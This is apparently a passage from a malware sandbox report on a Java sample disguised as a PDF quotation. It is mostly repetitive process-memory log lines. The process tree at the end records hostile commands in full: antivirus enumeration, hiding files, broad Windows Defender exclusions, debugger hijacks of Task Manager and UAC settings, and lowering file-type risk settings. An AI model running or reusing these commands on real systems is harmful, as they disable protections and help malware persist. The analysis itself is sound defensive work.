1588 wrote to memory of 1508 1588 cmd.exe 185 PID 1588 wrote to memory of 1056 1588 cmd.exe 186 PID 1588 wrote to memory of 1056 1588 cmd.exe 186 PID 1588 wrote to memory of 1056 1588 cmd.exe 186 PID 1044 wrote to memory of 1860 1044 java.exe 187 PID 1044 wrote to memory of 1860 1044 java.exe 187 PID 1044 wrote to memory of 1860 1044 java.exe 187 PID 1044 wrote to memory of 1692 1044 java.exe 189 PID 1044 wrote to memory of 1692 1044 java.exe 189 PID 1044 wrote to memory of 1692 1044 java.exe 189 PID 1692 wrote to memory of 1856 1692 cmd.exe 190 PID 1692 wrote to memory of 1856 1692 cmd.exe 190 PID 1692 wrote to memory of 1856 1692 cmd.exe 190 PID 1692 wrote to memory of 484 1692 cmd.exe 191 PID 1692 wrote to memory of 484 1692 cmd.exe 191 PID 1692 wrote to memory of 484 1692 cmd.exe 191 PID 1044 wrote to memory of 2028 1044 java.exe 192 PID 1044 wrote to memory of 2028 1044 java.exe 192 PID 1044 wrote to memory of 2028 1044 java.exe 192 PID 2028 wrote to memory of 1936 2028 cmd.exe 193 PID 2028 wrote to memory of 1936 2028 cmd.exe 193 PID 2028 wrote to memory of 1936 2028 cmd.exe 193 PID 2028 wrote to memory of 524 2028 cmd.exe 194 PID 2028 wrote to memory of 524 2028 cmd.exe 194 PID 2028 wrote to memory of 524 2028 cmd.exe 194 PID 1044 wrote to memory of 1940 1044 java.exe 195 PID 1044 wrote to memory of 1940 1044 java.exe 195 PID 1044 wrote to memory of 1940 1044 java.exe 195 PID 1940 wrote to memory of 1700 1940 cmd.exe 196 PID 1940 wrote to memory of 1700 1940 cmd.exe 196 PID 1940 wrote to memory of 1700 1940 cmd.exe 196 PID 1940 wrote to memory of 1480 1940 cmd.exe 197 PID 1940 wrote to memory of 1480 1940 cmd.exe 197 PID 1940 wrote to memory of 1480 1940 cmd.exe 197 PID 1044 wrote to memory of 1560 1044 java.exe 198 PID 1044 wrote to memory of 1560 1044 java.exe 198 PID 1044 wrote to memory of 1560 1044 java.exe 198 PID 1560 wrote to memory of 1892 1560 cmd.exe 199 PID 1560 wrote to memory of 1892 1560 cmd.exe 199 PID 1560 wrote to memory of 1892 1560 cmd.exe 199 PID 1560 wrote to memory of 2012 1560 cmd.exe 200 PID 1560 wrote to memory of 2012 1560 cmd.exe 200 PID 1560 wrote to memory of 2012 1560 cmd.exe 200 PID 1044 wrote to memory of 1888 1044 java.exe 201 PID 1044 wrote to memory of 1888 1044 java.exe 201 PID 1044 wrote to memory of 1888 1044 java.exe 201 PID 1888 wrote to memory of 1944 1888 cmd.exe 202 PID 1888 wrote to memory of 1944 1888 cmd.exe 202 PID 1888 wrote to memory of 1944 1888 cmd.exe 202 PID 1888 wrote to memory of 768 1888 cmd.exe 203 PID 1888 wrote to memory of 768 1888 cmd.exe 203 PID 1888 wrote to memory of 768 1888 cmd.exe 203 PID 1044 wrote to memory of 1232 1044 java.exe 204 PID 1044 wrote to memory of 1232 1044 java.exe 204 PID 1044 wrote to memory of 1232 1044 java.exe 204 PID 1232 wrote to memory of 1620 1232 cmd.exe 205 PID 1232 wrote to memory of 1620 1232 cmd.exe 205 PID 1232 wrote to memory of 1620 1232 cmd.exe 205 PID 1232 wrote to memory of 740 1232 cmd.exe 206 PID 1232 wrote to memory of 740 1232 cmd.exe 206 PID 1232 wrote to memory of 740 1232 cmd.exe 206 PID 1044 wrote to memory of 1628 1044 java.exe 207 PID 1044 wrote to memory of 1628 1044 java.exe 207 PID 1044 wrote to memory of 1628 1044 java.exe 207 PID 1628 wrote to memory of 1648 1628 cmd.exe 208 PID 1628 wrote to memory of 1648 1628 cmd.exe 208 PID 1628 wrote to memory of 1648 1628 cmd.exe 208 PID 1628 wrote to memory of 664 1628 cmd.exe 209 PID 1628 wrote to memory of 664 1628 cmd.exe 209 PID 1628 wrote to memory of 664 1628 cmd.exe 209 PID 1044 wrote to memory of 1344 1044 java.exe 210 PID 1044 wrote to memory of 1344 1044 java.exe 210 PID 1044 wrote to memory of 1344 1044 java.exe 210 PID 1344 wrote to memory of 1728 1344 cmd.exe 211 PID 1344 wrote to memory of 1728 1344 cmd.exe 211 PID 1344 wrote to memory of 1728 1344 cmd.exe 211 PID 1344 wrote to memory of 904 1344 cmd.exe 212 PID 1344 wrote to memory of 904 1344 cmd.exe 212 PID 1344 wrote to memory of 904 1344 cmd.exe 212 PID 1044 wrote to memory of 1984 1044 java.exe 213 PID 1044 wrote to memory of 1984 1044 java.exe 213 PID 1044 wrote to memory of 1984 1044 java.exe 213 PID 1984 wrote to memory of 1908 1984 cmd.exe 214 PID 1984 wrote to memory of 1908 1984 cmd.exe 214 PID 1984 wrote to memory of 1908 1984 cmd.exe 214 PID 1044 wrote to memory of 1512 1044 java.exe 215 PID 1044 wrote to memory of 1512 1044 java.exe 215 PID 1044 wrote to memory of 1512 1044 java.exe 215 PID 1984 wrote to memory of 1492 1984 cmd.exe 217 PID 1984 wrote to memory of 1492 1984 cmd.exe 217 PID 1984 wrote to memory of 1492 1984 cmd.exe 217 PID 1044 wrote to memory of 1936 1044 java.exe 218 PID 1044 wrote to memory of 1936 1044 java.exe 218 PID 1044 wrote to memory of 1936 1044 java.exe 218 PID 1936 wrote to memory of 1536 1936 cmd.exe 219 PID 1936 wrote to memory of 1536 1936 cmd.exe 219 PID 1936 wrote to memory of 1536 1936 cmd.exe 219 PID 1936 wrote to memory of 1804 1936 cmd.exe 220 PID 1936 wrote to memory of 1804 1936 cmd.exe 220 PID 1936 wrote to memory of 1804 1936 cmd.exe 220 PID 1044 wrote to memory of 1892 1044 java.exe 221 PID 1044 wrote to memory of 1892 1044 java.exe 221 PID 1044 wrote to memory of 1892 1044 java.exe 221 PID 1892 wrote to memory of 112 1892 cmd.exe 222 PID 1892 wrote to memory of 112 1892 cmd.exe 222 PID 1892 wrote to memory of 112 1892 cmd.exe 222 PID 1892 wrote to memory of 752 1892 cmd.exe 223 PID 1892 wrote to memory of 752 1892 cmd.exe 223 PID 1892 wrote to memory of 752 1892 cmd.exe 223 PID 1044 wrote to memory of 768 1044 java.exe 224 PID 1044 wrote to memory of 768 1044 java.exe 224 PID 1044 wrote to memory of 768 1044 java.exe 224 PID 768 wrote to memory of 1896 768 cmd.exe 225 PID 768 wrote to memory of 1896 768 cmd.exe 225 PID 768 wrote to memory of 1896 768 cmd.exe 225 PID 768 wrote to memory of 1496 768 cmd.exe 226 PID 768 wrote to memory of 1496 768 cmd.exe 226 PID 768 wrote to memory of 1496 768 cmd.exe 226 PID 1044 wrote to memory of 1584 1044 java.exe 227 PID 1044 wrote to memory of 1584 1044 java.exe 227 PID 1044 wrote to memory of 1584 1044 java.exe 227 PID 1584 wrote to memory of 1648 1584 cmd.exe 228 PID 1584 wrote to memory of 1648 1584 cmd.exe 228 PID 1584 wrote to memory of 1648 1584 cmd.exe 228 PID 1584 wrote to memory of 1056 1584 cmd.exe 229 PID 1584 wrote to memory of 1056 1584 cmd.exe 229 PID 1584 wrote to memory of 1056 1584 cmd.exe 229 PID 1044 wrote to memory of 1856 1044 java.exe 230 PID 1044 wrote to memory of 1856 1044 java.exe 230 PID 1044 wrote to memory of 1856 1044 java.exe 230 PID 1856 wrote to memory of 904 1856 cmd.exe 231 PID 1856 wrote to memory of 904 1856 cmd.exe 231 PID 1856 wrote to memory of 904 1856 cmd.exe 231 PID 1856 wrote to memory of 1788 1856 cmd.exe 232 PID 1856 wrote to memory of 1788 1856 cmd.exe 232 PID 1856 wrote to memory of 1788 1856 cmd.exe 232 PID 1044 wrote to memory of 1908 1044 java.exe 233 PID 1044 wrote to memory of 1908 1044 java.exe 233 PID 1044 wrote to memory of 1908 1044 java.exe 233 PID 1908 wrote to memory of 524 1908 cmd.exe 234 PID 1908 wrote to memory of 524 1908 cmd.exe 234 PID 1908 wrote to memory of 524 1908 cmd.exe 234 PID 1908 wrote to memory of 680 1908 cmd.exe 235 PID 1908 wrote to memory of 680 1908 cmd.exe 235 PID 1908 wrote to memory of 680 1908 cmd.exe 235 PID 1044 wrote to memory of 1644 1044 java.exe 236 PID 1044 wrote to memory of 1644 1044 java.exe 236 PID 1044 wrote to memory of 1644 1044 java.exe 236 PID 1644 wrote to memory of 2016 1644 cmd.exe 237 PID 1644 wrote to memory of 2016 1644 cmd.exe 237 PID 1644 wrote to memory of 2016 1644 cmd.exe 237 PID 1644 wrote to memory of 1612 1644 cmd.exe 238 PID 1644 wrote to memory of 1612 1644 cmd.exe 238 PID 1644 wrote to memory of 1612 1644 cmd.exe 238 PID 1044 wrote to memory of 1676 1044 java.exe 239 PID 1044 wrote to memory of 1676 1044 java.exe 239 PID 1044 wrote to memory of 1676 1044 java.exe 239 PID 1676 wrote to memory of 1952 1676 cmd.exe 240 PID 1676 wrote to memory of 1952 1676 cmd.exe 240 PID 1676 wrote to memory of 1952 1676 cmd.exe 240 PID 1676 wrote to memory of 112 1676 cmd.exe 241 PID 1676 wrote to memory of 112 1676 cmd.exe 241 PID 1676 wrote to memory of 112 1676 cmd.exe 241 PID 1044 wrote to memory of 1596 1044 java.exe 242 PID 1044 wrote to memory of 1596 1044 java.exe 242 PID 1044 wrote to memory of 1596 1044 java.exe 242 PID 1044 wrote to memory of 740 1044 java.exe 244 PID 1044 wrote to memory of 740 1044 java.exe 244 PID 1044 wrote to memory of 740 1044 java.exe 244 PID 740 wrote to memory of 1812 740 cmd.exe 245 PID 740 wrote to memory of 1812 740 cmd.exe 245 PID 740 wrote to memory of 1812 740 cmd.exe 245 PID 740 wrote to memory of 1548 740 cmd.exe 246 PID 740 wrote to memory of 1548 740 cmd.exe 246 PID 740 wrote to memory of 1548 740 cmd.exe 246 PID 1044 wrote to memory of 1788 1044 java.exe 247 PID 1044 wrote to memory of 1788 1044 java.exe 247 PID 1044 wrote to memory of 1788 1044 java.exe 247 PID 1788 wrote to memory of 1492 1788 cmd.exe 248 PID 1788 wrote to memory of 1492 1788 cmd.exe 248 PID 1788 wrote to memory of 1492 1788 cmd.exe 248 PID 1788 wrote to memory of 856 1788 cmd.exe 249 PID 1788 wrote to memory of 856 1788 cmd.exe 249 PID 1788 wrote to memory of 856 1788 cmd.exe 249 PID 1044 wrote to memory of 1500 1044 java.exe 250 PID 1044 wrote to memory of 1500 1044 java.exe 250 PID 1044 wrote to memory of 1500 1044 java.exe 250 PID 1500 wrote to memory of 1700 1500 cmd.exe 251 PID 1500 wrote to memory of 1700 1500 cmd.exe 251 PID 1500 wrote to memory of 1700 1500 cmd.exe 251 PID 1500 wrote to memory of 1404 1500 cmd.exe 252 PID 1500 wrote to memory of 1404 1500 cmd.exe 252 PID 1500 wrote to memory of 1404 1500 cmd.exe 252 PID 1044 wrote to memory of 1860 1044 java.exe 253 PID 1044 wrote to memory of 1860 1044 java.exe 253 PID 1044 wrote to memory of 1860 1044 java.exe 253 PID 1860 wrote to memory of 2016 1860 cmd.exe 254 PID 1860 wrote to memory of 2016 1860 cmd.exe 254 PID 1860 wrote to memory of 2016 1860 cmd.exe 254 PID 1860 wrote to memory of 2012 1860 cmd.exe 255 PID 1860 wrote to memory of 2012 1860 cmd.exe 255 PID 1860 wrote to memory of 2012 1860 cmd.exe 255 PID 1044 wrote to memory of 752 1044 java.exe 256 PID 1044 wrote to memory of 752 1044 java.exe 256 PID 1044 wrote to memory of 752 1044 java.exe 256 PID 752 wrote to memory of 112 752 cmd.exe 257 PID 752 wrote to memory of 112 752 cmd.exe 257 PID 752 wrote to memory of 112 752 cmd.exe 257 PID 752 wrote to memory of 1508 752 cmd.exe 258 PID 752 wrote to memory of 1508 752 cmd.exe 258 PID 752 wrote to memory of 1508 752 cmd.exe 258 PID 1044 wrote to memory of 1812 1044 java.exe 259 PID 1044 wrote to memory of 1812 1044 java.exe 259 PID 1044 wrote to memory of 1812 1044 java.exe 259 PID 1812 wrote to memory of 2000 1812 cmd.exe 260 PID 1812 wrote to memory of 2000 1812 cmd.exe 260 PID 1812 wrote to memory of 2000 1812 cmd.exe 260 PID 1812 wrote to memory of 1932 1812 cmd.exe 261 PID 1812 wrote to memory of 1932 1812 cmd.exe 261 PID 1812 wrote to memory of 1932 1812 cmd.exe 261 PID 1044 wrote to memory of 1620 1044 java.exe 262 PID 1044 wrote to memory of 1620 1044 java.exe 262 PID 1044 wrote to memory of 1620 1044 java.exe 262 PID 1620 wrote to memory of 1656 1620 cmd.exe 263 PID 1620 wrote to memory of 1656 1620 cmd.exe 263 PID 1620 wrote to memory of 1656 1620 cmd.exe 263 PID 1044 wrote to memory of 796 1044 java.exe 264 PID 1044 wrote to memory of 796 1044 java.exe 264 PID 1044 wrote to memory of 796 1044 java.exe 264 PID 1620 wrote to memory of 1492 1620 cmd.exe 265 PID 1620 wrote to memory of 1492 1620 cmd.exe 265 PID 1620 wrote to memory of 1492 1620 cmd.exe 265 PID 1044 wrote to memory of 1700 1044 java.exe 267 PID 1044 wrote to memory of 1700 1044 java.exe 267 PID 1044 wrote to memory of 1700 1044 java.exe 267 PID 1700 wrote to memory of 1332 1700 cmd.exe 268 PID 1700 wrote to memory of 1332 1700 cmd.exe 268 PID 1700 wrote to memory of 1332 1700 cmd.exe 268 PID 1700 wrote to memory of 1944 1700 cmd.exe 269 PID 1700 wrote to memory of 1944 1700 cmd.exe 269 PID 1700 wrote to memory of 1944 1700 cmd.exe 269 PID 1044 wrote to memory of 112 1044 java.exe 270 PID 1044 wrote to memory of 112 1044 java.exe 270 PID 1044 wrote to memory of 112 1044 java.exe 270 PID 112 wrote to memory of 1548 112 cmd.exe 271 PID 112 wrote to memory of 1548 112 cmd.exe 271 PID 112 wrote to memory of 1548 112 cmd.exe 271 PID 112 wrote to memory of 1972 112 cmd.exe 272 PID 112 wrote to memory of 1972 112 cmd.exe 272 PID 112 wrote to memory of 1972 112 cmd.exe 272 PID 1044 wrote to memory of 1932 1044 java.exe 273 PID 1044 wrote to memory of 1932 1044 java.exe 273 PID 1044 wrote to memory of 1932 1044 java.exe 273 PID 1932 wrote to memory of 1800 1932 cmd.exe 274 PID 1932 wrote to memory of 1800 1932 cmd.exe 274 PID 1932 wrote to memory of 1800 1932 cmd.exe 274 PID 1932 wrote to memory of 524 1932 cmd.exe 275 PID 1932 wrote to memory of 524 1932 cmd.exe 275 PID 1932 wrote to memory of 524 1932 cmd.exe 275 PID 1044 wrote to memory of 1492 1044 java.exe 276 PID 1044 wrote to memory of 1492 1044 java.exe 276 PID 1044 wrote to memory of 1492 1044 java.exe 276 PID 1492 wrote to memory of 320 1492 cmd.exe 277 PID 1492 wrote to memory of 320 1492 cmd.exe 277 PID 1492 wrote to memory of 320 1492 cmd.exe 277 PID 1492 wrote to memory of 2012 1492 cmd.exe 278 PID 1492 wrote to memory of 2012 1492 cmd.exe 278 PID 1492 wrote to memory of 2012 1492 cmd.exe 278 PID 1044 wrote to memory of 1612 1044 java.exe 279 PID 1044 wrote to memory of 1612 1044 java.exe 279 PID 1044 wrote to memory of 1612 1044 java.exe 279 PID 1612 wrote to memory of 1480 1612 cmd.exe 280 PID 1612 wrote to memory of 1480 1612 cmd.exe 280 PID 1612 wrote to memory of 1480 1612 cmd.exe 280 PID 1612 wrote to memory of 1332 1612 cmd.exe 281 PID 1612 wrote to memory of 1332 1612 cmd.exe 281 PID 1612 wrote to memory of 1332 1612 cmd.exe 281 PID 1044 wrote to memory of 1508 1044 java.exe 282 PID 1044 wrote to memory of 1508 1044 java.exe 282 PID 1044 wrote to memory of 1508 1044 java.exe 282 PID 1508 wrote to memory of 1056 1508 cmd.exe 283 PID 1508 wrote to memory of 1056 1508 cmd.exe 283 PID 1508 wrote to memory of 1056 1508 cmd.exe 283 PID 1508 wrote to memory of 1972 1508 cmd.exe 284 PID 1508 wrote to memory of 1972 1508 cmd.exe 284 PID 1508 wrote to memory of 1972 1508 cmd.exe 284 PID 1044 wrote to memory of 1844 1044 java.exe 285 PID 1044 wrote to memory of 1844 1044 java.exe 285 PID 1044 wrote to memory of 1844 1044 java.exe 285 PID 1844 wrote to memory of 1656 1844 cmd.exe 286 PID 1844 wrote to memory of 1656 1844 cmd.exe 286 PID 1844 wrote to memory of 1656 1844 cmd.exe 286 PID 1844 wrote to memory of 1468 1844 cmd.exe 287 PID 1844 wrote to memory of 1468 1844 cmd.exe 287 PID 1844 wrote to memory of 1468 1844 cmd.exe 287 PID 1044 wrote to memory of 320 1044 java.exe 288 PID 1044 wrote to memory of 320 1044 java.exe 288 PID 1044 wrote to memory of 320 1044 java.exe 288 PID 1044 wrote to memory of 796 1044 java.exe 289 PID 1044 wrote to memory of 796 1044 java.exe 289 PID 1044 wrote to memory of 796 1044 java.exe 289 PID 320 wrote to memory of 1332 320 cmd.exe 291 PID 320 wrote to memory of 1332 320 cmd.exe 291 PID 320 wrote to memory of 1332 320 cmd.exe 291 PID 320 wrote to memory of 856 320 cmd.exe 292 PID 320 wrote to memory of 856 320 cmd.exe 292 PID 320 wrote to memory of 856 320 cmd.exe 292 PID 1044 wrote to memory of 524 1044 java.exe 293 PID 1044 wrote to memory of 524 1044 java.exe 293 PID 1044 wrote to memory of 524 1044 java.exe 293 PID 524 wrote to memory of 1468 524 cmd.exe 294 PID 524 wrote to memory of 1468 524 cmd.exe 294 PID 524 wrote to memory of 1468 524 cmd.exe 294 PID 524 wrote to memory of 1480 524 cmd.exe 295 PID 524 wrote to memory of 1480 524 cmd.exe 295 PID 524 wrote to memory of 1480 524 cmd.exe 295 PID 1044 wrote to memory of 1848 1044 java.exe 296 PID 1044 wrote to memory of 1848 1044 java.exe 296 PID 1044 wrote to memory of 1848 1044 java.exe 296 PID 1848 wrote to memory of 1792 1848 cmd.exe 297 PID 1848 wrote to memory of 1792 1848 cmd.exe 297 PID 1848 wrote to memory of 1792 1848 cmd.exe 297 PID 1848 wrote to memory of 904 1848 cmd.exe 298 PID 1848 wrote to memory of 904 1848 cmd.exe 298 PID 1848 wrote to memory of 904 1848 cmd.exe 298 PID 1044 wrote to memory of 1480 1044 java.exe 299 PID 1044 wrote to memory of 1480 1044 java.exe 299 PID 1044 wrote to memory of 1480 1044 java.exe 299 PID 1480 wrote to memory of 1924 1480 cmd.exe 300 PID 1480 wrote to memory of 1924 1480 cmd.exe 300 PID 1480 wrote to memory of 1924 1480 cmd.exe 300 PID 1480 wrote to memory of 1972 1480 cmd.exe 301 PID 1480 wrote to memory of 1972 1480 cmd.exe 301 PID 1480 wrote to memory of 1972 1480 cmd.exe 301 PID 1044 wrote to memory of 796 1044 java.exe 302 PID 1044 wrote to memory of 796 1044 java.exe 302 PID 1044 wrote to memory of 796 1044 java.exe 302 PID 796 wrote to memory of 1040 796 cmd.exe 303 PID 796 wrote to memory of 1040 796 cmd.exe 303 PID 796 wrote to memory of 1040 796 cmd.exe 303 PID 796 wrote to memory of 1792 796 cmd.exe 304 PID 796 wrote to memory of 1792 796 cmd.exe 304 PID 796 wrote to memory of 1792 796 cmd.exe 304 PID 1044 wrote to memory of 1056 1044 java.exe 305 PID 1044 wrote to memory of 1056 1044 java.exe 305 PID 1044 wrote to memory of 1056 1044 java.exe 305 PID 1056 wrote to memory of 1800 1056 cmd.exe 306 PID 1056 wrote to memory of 1800 1056 cmd.exe 306 PID 1056 wrote to memory of 1800 1056 cmd.exe 306 PID 1056 wrote to memory of 1972 1056 cmd.exe 307 PID 1056 wrote to memory of 1972 1056 cmd.exe 307 PID 1056 wrote to memory of 1972 1056 cmd.exe 307 PID 1044 wrote to memory of 2000 1044 java.exe 308 PID 1044 wrote to memory of 2000 1044 java.exe 308 PID 1044 wrote to memory of 2000 1044 java.exe 308 PID 2000 wrote to memory of 1468 2000 cmd.exe 309 PID 2000 wrote to memory of 1468 2000 cmd.exe 309 PID 2000 wrote to memory of 1468 2000 cmd.exe 309 PID 2000 wrote to memory of 1896 2000 cmd.exe 310 PID 2000 wrote to memory of 1896 2000 cmd.exe 310 PID 2000 wrote to memory of 1896 2000 cmd.exe 310 PID 1044 wrote to memory of 1800 1044 java.exe 311 PID 1044 wrote to memory of 1800 1044 java.exe 311 PID 1044 wrote to memory of 1800 1044 java.exe 311 PID 1800 wrote to memory of 1040 1800 cmd.exe 312 PID 1800 wrote to memory of 1040 1800 cmd.exe 312 PID 1800 wrote to memory of 1040 1800 cmd.exe 312 PID 1800 wrote to memory of 2012 1800 cmd.exe 313 PID 1800 wrote to memory of 2012 1800 cmd.exe 313 PID 1800 wrote to memory of 2012 1800 cmd.exe 313 PID 1044 wrote to memory of 1896 1044 java.exe 314 PID 1044 wrote to memory of 1896 1044 java.exe 314 PID 1044 wrote to memory of 1896 1044 java.exe 314 PID 1896 wrote to memory of 1036 1896 cmd.exe 315 PID 1896 wrote to memory of 1036 1896 cmd.exe 315 PID 1896 wrote to memory of 1036 1896 cmd.exe 315 PID 1896 wrote to memory of 1468 1896 cmd.exe 316 PID 1896 wrote to memory of 1468 1896 cmd.exe 316 PID 1896 wrote to memory of 1468 1896 cmd.exe 316 PID 1044 wrote to memory of 1040 1044 java.exe 317 PID 1044 wrote to memory of 1040 1044 java.exe 317 PID 1044 wrote to memory of 1040 1044 java.exe 317 PID 1040 wrote to memory of 1036 1040 cmd.exe 318 PID 1040 wrote to memory of 1036 1040 cmd.exe 318 PID 1040 wrote to memory of 1036 1040 cmd.exe 318 PID 1040 wrote to memory of 1792 1040 cmd.exe 319 PID 1040 wrote to memory of 1792 1040 cmd.exe 319 PID 1040 wrote to memory of 1792 1040 cmd.exe 319 PID 1044 wrote to memory of 2012 1044 java.exe 320 PID 1044 wrote to memory of 2012 1044 java.exe 320 PID 1044 wrote to memory of 2012 1044 java.exe 320 PID 2012 wrote to memory of 1792 2012 cmd.exe 321 PID 2012 wrote to memory of 1792 2012 cmd.exe 321 PID 2012 wrote to memory of 1792 2012 cmd.exe 321 PID 2012 wrote to memory of 2056 2012 cmd.exe 322 PID 2012 wrote to memory of 2056 2012 cmd.exe 322 PID 2012 wrote to memory of 2056 2012 cmd.exe 322 PID 1044 wrote to memory of 2068 1044 java.exe 323 PID 1044 wrote to memory of 2068 1044 java.exe 323 PID 1044 wrote to memory of 2068 1044 java.exe 323 PID 2068 wrote to memory of 2080 2068 cmd.exe 324 PID 2068 wrote to memory of 2080 2068 cmd.exe 324 PID 2068 wrote to memory of 2080 2068 cmd.exe 324 PID 2068 wrote to memory of 2092 2068 cmd.exe 325 PID 2068 wrote to memory of 2092 2068 cmd.exe 325 PID 2068 wrote to memory of 2092 2068 cmd.exe 325 PID 1044 wrote to memory of 2104 1044 java.exe 326 PID 1044 wrote to memory of 2104 1044 java.exe 326 PID 1044 wrote to memory of 2104 1044 java.exe 326 PID 2104 wrote to memory of 2116 2104 cmd.exe 327 PID 2104 wrote to memory of 2116 2104 cmd.exe 327 PID 2104 wrote to memory of 2116 2104 cmd.exe 327 PID 2104 wrote to memory of 2128 2104 cmd.exe 328 PID 2104 wrote to memory of 2128 2104 cmd.exe 328 PID 2104 wrote to memory of 2128 2104 cmd.exe 328 PID 1044 wrote to memory of 2140 1044 java.exe 329 PID 1044 wrote to memory of 2140 1044 java.exe 329 PID 1044 wrote to memory of 2140 1044 java.exe 329 PID 2140 wrote to memory of 2152 2140 cmd.exe 330 PID 2140 wrote to memory of 2152 2140 cmd.exe 330 PID 2140 wrote to memory of 2152 2140 cmd.exe 330 PID 2140 wrote to memory of 2164 2140 cmd.exe 331 PID 2140 wrote to memory of 2164 2140 cmd.exe 331 PID 2140 wrote to memory of 2164 2140 cmd.exe 331 PID 1044 wrote to memory of 2176 1044 java.exe 332 PID 1044 wrote to memory of 2176 1044 java.exe 332 PID 1044 wrote to memory of 2176 1044 java.exe 332 PID 1044 wrote to memory of 2224 1044 java.exe 334 PID 1044 wrote to memory of 2224 1044 java.exe 334 PID 1044 wrote to memory of 2224 1044 java.exe 334 PID 1044 wrote to memory of 2284 1044 java.exe 336 PID 1044 wrote to memory of 2284 1044 java.exe 336 PID 1044 wrote to memory of 2284 1044 java.exe 336 PID 1044 wrote to memory of 2332 1044 java.exe 338 PID 1044 wrote to memory of 2332 1044 java.exe 338 PID 1044 wrote to memory of 2332 1044 java.exe 338 PID 1044 wrote to memory of 2380 1044 java.exe 340 PID 1044 wrote to memory of 2380 1044 java.exe 340 PID 1044 wrote to memory of 2380 1044 java.exe 340 PID 1044 wrote to memory of 2428 1044 java.exe 342 PID 1044 wrote to memory of 2428 1044 java.exe 342 PID 1044 wrote to memory of 2428 1044 java.exe 342 PID 1044 wrote to memory of 2476 1044 java.exe 344 PID 1044 wrote to memory of 2476 1044 java.exe 344 PID 1044 wrote to memory of 2476 1044 java.exe 344 -
Views/modifies file attributes 1 TTPs 8 IoCs
pid Process 1800 attrib.exe 1320 attrib.exe 1176 attrib.exe 1772 attrib.exe 1812 attrib.exe 1836 attrib.exe 1536 attrib.exe 1700 attrib.exe
Processes
-
C:\Windows\system32\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Techno Group Pakistan Quotation Request_Pdf.jar"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\system32\cmd.execmd.exe2⤵PID:1524
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064
-
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
PID:1536
-
-
C:\Windows\system32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
PID:1700
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\ujTBR\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1800
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\ujTBR\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1320
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1176
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1772
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1812
-
-
C:\Windows\system32\attrib.exeattrib +h +s +r C:\Users\Admin\ujTBR\NXtxm.class2⤵
- Views/modifies file attributes
PID:1836
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\ujTBR','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\ujTBR\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1648
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵PID:1864
-
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵PID:752
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "UserAccountControlSettings.exe" /T /F2⤵
- Kills process with taskkill
PID:1560
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UserAccountControlSettings.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1904
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f2⤵PID:1868
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1940
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;" /f2⤵PID:2016
-
-
